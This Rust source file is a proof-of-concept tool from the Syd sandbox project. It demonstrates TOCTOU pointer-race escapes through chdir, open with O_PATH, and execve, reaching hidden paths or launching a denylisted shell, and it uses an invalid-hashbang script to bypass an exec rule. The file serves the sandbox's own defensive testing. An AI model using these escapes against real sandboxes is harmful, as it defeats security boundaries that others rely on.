//
// Syd: rock-solid application kernel
// src/utils/syd-poc.rs: POC||GTFO! Demonstrate various sandbox break vectors.
//
// Copyright (c) 2024, 2025 Ali Polatel <alip@chesswob.org>
//
// SPDX-License-Identifier: GPL-3.0

#![allow(clippy::disallowed_types)]

use std::{
    env::{args_os, current_exe, set_var, var_os},
    ffi::{CString, OsString},
    fs::{remove_file, File},
    io::Write,
    os::{
        fd::{AsRawFd, FromRawFd, OwnedFd},
        unix::{ffi::OsStrExt, process::CommandExt},
    },
    path::PathBuf,
    process::{Command, ExitCode},
    time::{Duration, Instant},
};

use nix::{
    errno::Errno,
    fcntl::readlink,
    libc::{pthread_create, pthread_join, pthread_t},
    sys::stat::{fchmod, Mode},
    unistd::{getcwd, getpid, Pid},
};
use syd::{
    config::*,
    err::{err2no, SydResult},
    path::XPathBuf,
};

// We intentionally do not use GrapheneOS allocator
// in this binary to let it freely corrupt memory,
// which is required for some of the POCs.

syd::main! {
    use lexopt::prelude::*;

    syd::set_sigpipe_dfl()?;

    // Parse CLI options.
    //
    // Note, option parsing is POSIXly correct:
    // POSIX recommends that no more options are parsed after the first
    // positional argument. The other arguments are then all treated as
    // positional arguments.
    // See: https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap12.html#tag_12_02
    let mut opt_cmd = None;
    let mut opt_arg = Vec::new();

    let mut parser = lexopt::Parser::from_env();
    while let Some(arg) = parser.next()? {
        match arg {
            Short('h') => {
                help();
                return Ok(ExitCode::SUCCESS);
            }
            Value(prog) => {
                opt_cmd = Some(prog.to_str().map(String::from).ok_or(Errno::EINVAL)?);
                opt_arg.extend(parser.raw_args()?);
            }
            _ => return Err(arg.unexpected().into()),
        }
    }

    match opt_cmd.as_deref() {
        None | Some("h" | "he" | "hel" | "help") => {
            help();
            Ok(ExitCode::SUCCESS)
        }
        Some("c" | "cd" | "chdir" | "dir") => cmd_cd(opt_arg),
        Some("p" | "pa" | "pat" | "path") => cmd_path(opt_arg),
        Some("e" | "x" | "ex" | "exe" | "exec") => cmd_exec(opt_arg),
        Some(cmd) => {
            eprintln!("syd-poc: Unknown subcommand {cmd}!");
            Ok(ExitCode::FAILURE)
        }
    }
}

fn help() {
    println!("Usage: syd-poc [-h] [command] [args...]");
    println!("POC||GTFO! Demonstrate various sandbox break vectors.");
    println!("\nCommands:");
    println!("\t- cd\tChdir into a hidden directory utilising pointer TOCTOU.");
    println!("\t- path\tProve existence of a hidden file utilising pointer TOCTOU.");
    println!("\t- exec\tExecute a denylisted file utilising pointer TOCTOU.");
    println!("\nDo \"syd-poc command -h\" for more information on a specific subcommand.");
}

fn help_cd() {
    println!("Usage syd-poc cd [-hsS] [-b benign-dir] [-t timeout] [dir] [command] [args...]");
    println!(
        "Chdir into a hidden directory and execute the given command with the given arguments."
    );
    println!("Method of attack is pointer modification on the chdir(2) system call making use of TOCTOU.");
    println!(
        "Default benign directory is /var/empty, specify an alternate path with \"-b benign-dir\"."
    );
    println!("Default is to try until interrupted, specify a timeout with \"-t timeout\".");
    println!("Use -s to run test under strace, -S to skip strace auto-detection and run without tracing.");
}

fn help_path() {
    println!("Usage syd-poc path [-hsS] [-b benign-file] [-t timeout] [file] [command] [args...]");
    println!("Prove existence of a hidden file utilizing pointer TOCTOU and pass the file descriptor to the command.");
    println!("Method of attack is pointer modification on the open(2) system call with O_PATH flag making use of TOCTOU.");
    println!(
        "Default benign file is /dev/null, specify an alternate path with \"-b benign-file\"."
    );
    println!("Default is to try until interrupted, specify a timeout with \"-t timeout\".");
    println!("Use -s to run test under strace, -S to skip strace auto-detection and run without tracing.");
}

fn help_exec() {
    println!("Usage syd-poc exec [-hsS] [-t timeout] {{[executable] [args...]}}");
    println!("Execute a denylisted file utilising pointer TOCTOU.");
    println!("Method of attack is pointer modification on the execve(2) system call making use of TOCTOU.");
    println!("Expects the directory /tmp is allowlisted for exec.");
    println!("Target executable defaults to /bin/sh.");
    println!("Default is to try until interrupted, specify a timeout with \"-t timeout\".");
    println!("Use -s to run test under strace, -S to skip strace auto-detection and run without tracing.");
}

fn cmd_cd(args: Vec<OsString>) -> SydResult<ExitCode> {
    use lexopt::prelude::*;

    // Parse CLI options.
    let mut opt_src = "/proc/self/root/var/empty".to_string();
    let mut opt_dir = None;
    let mut opt_cmd = var_os(ENV_SH).unwrap_or(OsString::from(SYD_SH));
    let mut opt_arg = Vec::new();
    let mut opt_check_strace = true;
    let mut opt_force_strace = false;
    let mut opt_tmout = None;

    let mut parser = lexopt::Parser::from_args(&args);
    while let Some(arg) = parser.next()? {
        match arg {
            Short('h') => {
                help_cd();
                return Ok(ExitCode::SUCCESS);
            }
            Short('b') => opt_src = parser.value()?.parse()?,
            Short('s') => opt_force_strace = true,
            Short('S') => {
                opt_check_strace = false;
                opt_force_strace = false;
            }
            Short('t') => {
                opt_tmout = Some(parser.value()?.parse::<u64>().map(Duration::from_secs)?)
            }
            Value(dir) if opt_dir.is_none() => {
                opt_dir = Some(dir.to_str().map(String::from).ok_or(Errno::EINVAL)?)
            }
            Value(prog) => {
                opt_cmd = prog;
                opt_arg.extend(parser.raw_args()?);
            }
            _ => return Err(arg.unexpected().into()),
        }
    }

    let dir = if let Some(dir) = opt_dir {
        dir
    } else {
        help_cd();
        return Ok(ExitCode::FAILURE);
    };

    // If strace is available, rexecute under strace for
    // clear demonstration of chdir calls. Avoid recursion
    // with the environment variable SYD_POC_PTRACE.
    if var_os("SYD_POC_PTRACE").is_none()
        && (opt_force_strace || (opt_check_strace && strace_chdir(&opt_src)))
    {
        set_var("SYD_POC_PTRACE", "NoThanks");
        // exec only returns on failure...
        return Ok(ExitCode::from(
            strace_chdir_reexec().raw_os_error().unwrap_or(127) as u8,
        ));
    }

    //////////////////////////////////////////////////////////
    //// POC||GTFO: chdir(2) pointer modification TOCTOU. ////
    //////////////////////////////////////////////////////////
    eprintln!("[*] Starting chdir(2) pointer modification TOCTOU attack...");
    eprintln!("[*] Benign directory: {opt_src}");
    eprintln!("[*] Target directory: {dir}");
    if let Some(tmout) = opt_tmout {
        eprintln!("[*] Attack timeout is {} seconds.", tmout.as_secs());
    } else {
        eprintln!("[*] Attack will continue until interrupted (Press ^C to stop).");
    }

    // Run the proof of concept multiple times to increase the chance of
    // catching the race condition.
    let mut attempts = 0;
    let mut tlast = Instant::now();
    let epoch = tlast;
    loop {
        attempts += 1;

        if toctou_cd_poc(&opt_src, &dir) {
            eprintln!("[!] TOCTOU attack succeeded after {attempts} attempts!");
            eprintln!("[!] Current directory was unexpectedly changed!");
            break;
        }

        let now = Instant::now();
        if let Some(tmout) = opt_tmout {
            if now.duration_since(epoch) >= tmout {
                eprintln!("[?] Timeout reached after {attempts} attempts.");
                eprintln!("[?] Try increasing timeout with \"-t timeout\".");
                return Ok(ExitCode::FAILURE);
            }
        }

        if now.duration_since(tlast).as_secs() >= 10 {
            eprintln!("[*] Still trying... {attempts} attempts so far.");
            tlast = now;
        }
    }

    eprintln!("[*] Executing command in the denylisted directory...");
    let error = Command::new(opt_cmd).args(opt_arg).exec();

    // exec only returns on failure.
    Ok(ExitCode::from(error.raw_os_error().unwrap_or(127) as u8))
}

fn cmd_path(args: Vec<OsString>) -> SydResult<ExitCode> {
    use lexopt::prelude::*;

    // Parse CLI options.
    let mut opt_dst = None;
    let mut opt_src = "/proc/self/root/dev/null".to_string();
    let mut opt_cmd = var_os(ENV_SH).unwrap_or(OsString::from(SYD_SH));
    let mut opt_arg = Vec::new();
    let mut opt_check_strace = true;
    let mut opt_force_strace = false;
    let mut opt_tmout = None;

    let mut parser = lexopt::Parser::from_args(&args);
    while let Some(arg) = parser.next()? {
        match arg {
            Short('h') => {
                help_path();
                return Ok(ExitCode::SUCCESS);
            }
            Short('b') => opt_src = parser.value()?.parse()?,
            Short('s') => opt_force_strace = true,
            Short('S') => {
                opt_check_strace = false;
                opt_force_strace = false;
            }
            Short('t') => {
                opt_tmout = Some(parser.value()?.parse::<u64>().map(Duration::from_secs)?)
            }
            Value(dst) if opt_dst.is_none() => {
                opt_dst = Some(dst.to_str().map(String::from).ok_or(Errno::EINVAL)?)
            }
            Value(prog) => {
                opt_cmd = prog;
                opt_arg.extend(parser.raw_args()?);
            }
            _ => return Err(arg.unexpected().into()),
        }
    }

    let dst = if let Some(dst) = opt_dst {
        dst
    } else {
        help_path();
        return Ok(ExitCode::FAILURE);
    };

    // If strace is available, rexecute under strace for
    // clear demonstration of open calls. Avoid recursion
    // with the environment variable SYD_POC_PTRACE.
    if var_os("SYD_POC_PTRACE").is_none()
        && (opt_force_strace || (opt_check_strace && strace_path()))
    {
        set_var("SYD_POC_PTRACE", "NoThanks");
        // exec only returns on failure...
        return Ok(ExitCode::from(
            strace_path_reexec().raw_os_error().unwrap_or(127) as u8,
        ));
    }

    ////////////////////////////////////////////////////////////////
    //// POC||GTFO: open(2) O_PATH pointer modification TOCTOU. ////
    ////////////////////////////////////////////////////////////////
    eprintln!("[*] Starting open(2) O_PATH pointer modification TOCTOU attack...");
    eprintln!("[*] Benign file: {opt_src}");
    eprintln!("[*] Target file: {dst}");
    if let Some(tmout) = opt_tmout {
        eprintln!("[*] Attack timeout is {} seconds.", tmout.as_secs());
    } else {
        eprintln!("[*] Attack will continue until interrupted (Press ^C to stop).");
    }

    // Run the proof of concept multiple times to increase the chance of catching the race condition.
    let pid = getpid();
    let targetfd;
    let mut attempts = 0;
    let mut tlast = Instant::now();
    let epoch = tlast;
    loop {
        attempts += 1;

        if let Some(fd) = toctou_path_poc(pid, &opt_src, &dst) {
            eprintln!("[!] TOCTOU attack succeeded after {attempts} attempts!");
            eprintln!("[!] Target path {dst} is known to exist!");
            eprintln!(
                "[*] Passing file descriptor {} to the command...",
                fd.as_raw_fd()
            );
            targetfd = Some(fd);
            break;
        }

        let now = Instant::now();
        if let Some(tmout) = opt_tmout {
            if now.duration_since(epoch) >= tmout {
                eprintln!("[?] Timeout reached after {attempts} attempts.");
                eprintln!("[?] Try increasing timeout with \"-t timeout\".");
                return Ok(ExitCode::FAILURE);
            }
        }

        if now.duration_since(tlast).as_secs() >= 10 {
            eprintln!("[*] Still trying... {attempts} attempts so far.");
            tlast = now;
        }
    }

    eprintln!("[*] Executing command with target FD {targetfd:?}...");
    let error = Command::new(opt_cmd).args(opt_arg).exec();

    // exec only returns on failure.
    Ok(ExitCode::from(error.raw_os_error().unwrap_or(127) as u8))
}

fn cmd_exec(args: Vec<OsString>) -> SydResult<ExitCode> {
    use lexopt::prelude::*;

    // Parse CLI options.
    let mut opt_check_strace = true;
    let mut opt_force_strace = false;
    let mut opt_tmout = None;
    let mut opt_argv = vec![var_os(ENV_SH).unwrap_or(OsString::from(SYD_SH))];

    let mut parser = lexopt::Parser::from_args(&args);
    while let Some(arg) = parser.next()? {
        match arg {
            Short('h') => {
                help_exec();
                return Ok(ExitCode::SUCCESS);
            }
            Short('s') => opt_force_strace = true,
            Short('S') => {
                opt_check_strace = false;
                opt_force_strace = false;
            }
            Short('t') => {
                opt_tmout = Some(parser.value()?.parse::<u64>().map(Duration::from_secs)?)
            }
            Value(prog) => {
                opt_argv.clear();
                opt_argv.push(prog);
                opt_argv.extend(parser.raw_args()?);
            }
            _ => return Err(arg.unexpected().into()),
        }
    }

    // Create random shell script.
    let src = create_random_script()?;

    // If strace is available, rexecute under strace for
    // clear demonstration of execve calls. Avoid recursion
    // with the environment variable SYD_POC_PTRACE.
    if var_os("SYD_POC_PTRACE").is_none()
        && (opt_force_strace || (opt_check_strace && strace_exec()))
    {
        set_var("SYD_POC_PTRACE", "NoThanks");
        // exec only returns on failure...
        return Ok(ExitCode::from(
            strace_exec_reexec().raw_os_error().unwrap_or(127) as u8,
        ));
    }

    ///////////////////////////////////////////////////////////
    //// POC||GTFO: execve(2) pointer modification TOCTOU. ////
    ///////////////////////////////////////////////////////////
    eprintln!("[*] Starting execve(2) pointer modification TOCTOU attack...");
    eprintln!("[*] Benign executable: {src}");
    eprintln!(
        "[*] Target executable: {}",
        XPathBuf::from(opt_argv[0].clone())
    );
    if let Some(tmout) = opt_tmout {
        eprintln!("[*] Attack timeout is {} seconds.", tmout.as_secs());
    } else {
        eprintln!("[*] Attack will continue until interrupted (Press ^C to stop).");
    }

    // Run the proof of concept multiple times to increase the chance of catching the race condition.
    let mut attempts = 0;
    let mut tlast = Instant::now();
    let epoch = tlast;
    loop {
        attempts += 1;

        if toctou_exec_poc(&src, &opt_argv) {
            let _ = remove_file(src);
            break;
        }

        let now = Instant::now();
        if let Some(tmout) = opt_tmout {
            if now.duration_since(epoch) >= tmout {
                eprintln!("[?] Timeout reached after {attempts} attempts.");
                eprintln!("[?] Try increasing timeout with \"-t timeout\".");
                let _ = remove_file(src);
                return Ok(ExitCode::FAILURE);
            }
        }

        if now.duration_since(tlast).as_secs() >= 10 {
            eprintln!("[*] Still trying... {attempts} attempts so far.");
            tlast = now;
        }
    }

    Ok(ExitCode::SUCCESS)
}

#[repr(C)]
struct Data {
    ptr: *mut nix::libc::c_void,
    src: CString,
}

#[expect(clippy::disallowed_methods)]
fn toctou_cd_poc(benign_dir: &str, target_dir: &str) -> bool {
    let benign_path = CString::new(benign_dir).unwrap();
    let ptr = benign_path.into_raw();
    let dir = CString::new(target_dir).expect("invalid directory");
    let mut thread: pthread_t = unsafe { std::mem::zeroed() };

    let data = Box::new(Data {
        ptr: ptr as *mut nix::libc::c_void,
        src: dir.clone(),
    });
    let data = Box::into_raw(data);

    unsafe {
        pthread_create(&mut thread, std::ptr::null(), modify_ptr, data as *mut _);

        nix::libc::chdir(ptr as *const nix::libc::c_char);

        pthread_join(thread, std::ptr::null_mut());

        let _ = Box::from_raw(data);
        let _ = Box::from_raw(ptr);
    }

    let cwd = getcwd().expect("getcwd");
    cwd.as_os_str().as_bytes() == dir.as_bytes()
}

#[expect(clippy::disallowed_methods)]
fn toctou_path_poc(pid: Pid, benign_file: &str, target_file: &str) -> Option<OwnedFd> {
    let benign_path = CString::new(benign_file).unwrap();
    let ptr = benign_path.into_raw();
    let file = CString::new(target_file).expect("invalid file");
    let mut thread: pthread_t = unsafe { std::mem::zeroed() };

    let data = Box::new(Data {
        ptr: ptr as *mut nix::libc::c_void,
        src: file.clone(),
    });
    let data = Box::into_raw(data);

    let fd = unsafe {
        pthread_create(&mut thread, std::ptr::null(), modify_ptr, data as *mut _);

        let fd = nix::libc::open(ptr as *const nix::libc::c_char, nix::libc::O_PATH);

        pthread_join(thread, std::ptr::null_mut());

        let _ = Box::from_raw(data);
        let _ = Box::from_raw(ptr);

        if fd == -1 {
            return None;
        }
        OwnedFd::from_raw_fd(fd)
    };

    // Check if fd points to the target file.
    let mut buf0 = itoa::Buffer::new();
    let mut buf1 = itoa::Buffer::new();
    let mut proc = PathBuf::from("/proc");
    proc.push(buf0.format(pid.as_raw()));
    proc.push("fd");
    proc.push(buf1.format(fd.as_raw_fd()));

    let path = readlink(&proc).expect("readlink /proc/pid/fd");
    if path.as_os_str().as_bytes() == file.as_bytes() {
        return Some(fd);
    }

    None
}

fn strace_chdir(dir: &str) -> bool {
    eprintln!("[*] Auto-detecting strace...");
    let mut cmd = Command::new("timeout");
    let cmd = cmd
        .arg("5s")
        .arg("strace")
        .arg("-o/dev/null")
        .arg("-f")
        .arg("-echdir")
        .arg("-qq")
        .arg("--")
        .arg("sh")
        .arg("-xc")
        .arg(format!("cd {dir}"));
    eprintln!("[*] Attempting to run strace: {cmd:?}");
    match cmd.status() {
        Ok(status) if status.success() => {
            eprintln!("[!] strace is available, let's use it!");
            true
        }
        _ => {
            eprintln!("[?] strace is not available, continuing without.");
            false
        }
    }
}

#[expect(clippy::disallowed_methods)]
fn toctou_exec_poc(benign_executable: &str, argv: &[OsString]) -> bool {
    let benign_path = CString::new(benign_executable).unwrap();
    let ptr = benign_path.into_raw();
    let file = CString::new(argv[0].as_bytes()).expect("invalid file");
    let mut thread: pthread_t = unsafe { std::mem::zeroed() };

    let data = Box::new(Data {
        ptr: ptr as *mut nix::libc::c_void,
        src: file.clone(),
    });
    let data = Box::into_raw(data);

    unsafe {
        pthread_create(&mut thread, std::ptr::null(), modify_ptr, data as *mut _);

        let c_argv: Vec<CString> = argv
            .iter()
            .map(|arg| CString::new(arg.as_bytes()).unwrap())
            .collect();
        let mut c_argv: Vec<*const nix::libc::c_char> =
            c_argv.iter().map(|arg| arg.as_ptr()).collect();
        c_argv.push(std::ptr::null());

        nix::libc::execve(
            ptr as *const nix::libc::c_char,
            c_argv.as_ptr(),
            std::ptr::null(),
        );

        // execve returned -- it failed.
        pthread_join(thread, std::ptr::null_mut());

        let _ = Box::from_raw(data);
        let _ = Box::from_raw(ptr);
    }

    false
}

#[expect(clippy::disallowed_methods)]
fn strace_chdir_reexec() -> std::io::Error {
    let exe = current_exe().expect("current exe");
    let arg: Vec<OsString> = args_os().skip(1).collect();
    let mut cmd = Command::new("strace");
    let cmd = cmd
        .arg("-f")
        .arg("-echdir")
        .arg("-qq")
        .arg("--")
        .arg(exe)
        .args(&arg);
    eprintln!("[*] Executing test under strace: {cmd:?}");
    cmd.exec()
}

fn strace_path() -> bool {
    eprintln!("[*] Auto-detecting strace...");
    let mut cmd = Command::new("timeout");
    let cmd = cmd
        .arg("5s")
        .arg("strace")
        .arg("-o/dev/null")
        .arg("-f")
        .arg("-qq")
        .arg("-eopen")
        .arg("--")
        .arg("sh")
        .arg("-xc")
        .arg("cat /dev/null > /dev/null");
    eprintln!("[*] Attempting to run strace: {cmd:?}");
    match cmd.status() {
        Ok(status) if status.success() => {
            eprintln!("[!] strace is available, let's use it!");
            true
        }
        _ => {
            eprintln!("[?] strace is not available, continuing without.");
            false
        }
    }
}

#[expect(clippy::disallowed_methods)]
fn strace_path_reexec() -> std::io::Error {
    let exe = current_exe().expect("current exe");
    let arg: Vec<OsString> = args_os().skip(1).collect();
    let mut cmd = Command::new("strace");
    let cmd = cmd
        .arg("-f")
        .arg("-qq")
        .arg("-eopen")
        .arg("--")
        .arg(exe)
        .args(&arg);
    eprintln!("[*] Executing test under strace: {cmd:?}");
    cmd.exec()
}

fn strace_exec() -> bool {
    eprintln!("[*] Auto-detecting strace...");
    let mut cmd = Command::new("timeout");
    let cmd = cmd
        .arg("5s")
        .arg("strace")
        .arg("-o/dev/null")
        .arg("-f")
        .arg("-qq")
        .arg("-eexecve")
        .arg("--")
        .arg("/bin/true");
    eprintln!("[*] Attempting to run strace: {cmd:?}");
    match cmd.status() {
        Ok(status) if status.success() => {
            eprintln!("[!] strace is available, let's use it!");
            true
        }
        _ => {
            eprintln!("[?] strace is not available, continuing without.");
            false
        }
    }
}

#[expect(clippy::disallowed_methods)]
fn strace_exec_reexec() -> std::io::Error {
    let exe = current_exe().expect("current exe");
    let arg: Vec<OsString> = args_os().skip(1).collect();
    let mut cmd = Command::new("strace");
    let cmd = cmd
        .arg("-f")
        .arg("-qq")
        .arg("-eexecve")
        .arg("--")
        .arg(exe)
        .args(&arg);
    eprintln!("[*] Executing test under strace: {cmd:?}");
    cmd.exec()
}

#[expect(clippy::disallowed_methods)]
fn create_random_script() -> Result<String, Errno> {
    // Generate a random file name using nix::libc::getrandom
    let mut buf: [u8; 8] = [0; 8];
    if unsafe {
        nix::libc::getrandom(
            buf.as_mut_ptr() as *mut _,
            buf.len(),
            nix::libc::GRND_RANDOM,
        )
    } == -1
    {
        return Err(Errno::last());
    }
    let filename: String = format!(
        "/tmp/syd_poc_{:x}{:x}",
        u64::from_ne_bytes(buf[0..8].try_into().unwrap()),
        u64::from_ne_bytes(buf[0..8].try_into().unwrap())
    );

    let mut file = File::create(&filename).map_err(|e| err2no(&e))?;

    // Write invalid hashbang to the file,
    // effectively bypassing trace/allow_unsupp_exec:0.
    file.write_all(b"#!/dev/null\ntrue\n")
        .map_err(|e| err2no(&e))?;

    // Set the file as executable.
    fchmod(file, Mode::S_IRWXU)?;

    Ok(filename)
}

extern "C" fn modify_ptr(ptr: *mut nix::libc::c_void) -> *mut nix::libc::c_void {
    let data = unsafe { &mut *(ptr as *mut Data) };
    let bit = data.src.as_bytes_with_nul();
    let len = bit.len();
    let src = bit.as_ptr();
    let ptr = data.ptr as *mut i8;
    for _ in 0..10_000 {
        unsafe { ptr.copy_from_nonoverlapping(src as *const _, len) };
    }
    std::ptr::null_mut()
}
